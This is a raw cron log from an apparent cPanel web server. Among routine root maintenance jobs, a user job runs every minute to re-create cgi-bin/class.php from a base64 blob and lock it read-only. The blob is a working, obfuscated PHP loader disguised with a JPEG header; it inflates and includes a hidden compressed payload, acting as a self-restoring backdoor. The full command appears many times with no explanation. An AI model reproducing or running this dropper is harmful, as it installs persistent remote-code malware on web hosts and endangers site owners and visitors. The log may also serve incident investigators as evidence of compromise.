Sep  1 16:12:01 server CROND[12517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:12:01 server CROND[12518]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:12:01 server CROND[12519]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:12:01 server CROND[12520]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 16:13:01 server CROND[12887]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:13:01 server CROND[12888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:13:01 server CROND[12889]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:14:01 server CROND[13259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:14:01 server CROND[13260]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:14:01 server CROND[13261]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:15:01 server CROND[13652]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 16:15:01 server CROND[13654]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 16:15:01 server CROND[13657]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 16:15:01 server CROND[13655]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  1 16:15:01 server CROND[13660]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:15:01 server CROND[13662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:15:01 server CROND[13659]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 16:15:01 server CROND[13661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:15:01 server CROND[13658]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 16:16:01 server CROND[14561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:16:01 server CROND[14562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:16:01 server CROND[14560]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:17:01 server CROND[15030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:17:01 server CROND[15031]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:17:01 server CROND[15032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:18:01 server CROND[15406]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:18:01 server CROND[15407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:18:01 server CROND[15408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:19:01 server CROND[15783]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:19:01 server CROND[15784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:19:01 server CROND[15782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:20:01 server CROND[16162]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 16:20:01 server CROND[16164]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 16:20:01 server CROND[16165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:20:01 server CROND[16173]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:20:01 server CROND[16174]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 16:20:01 server CROND[16170]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 16:20:01 server CROND[16171]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 16:20:01 server CROND[16169]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:20:01 server CROND[16172]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 16:21:01 server CROND[16988]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:21:01 server CROND[16989]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:21:01 server CROND[16990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:22:01 server CROND[17427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:22:01 server CROND[17428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:22:01 server CROND[17429]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:23:01 server CROND[17831]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 16:23:01 server CROND[17832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 16:23:01 server CROND[17833]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 16:24:01 server CROND[18208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
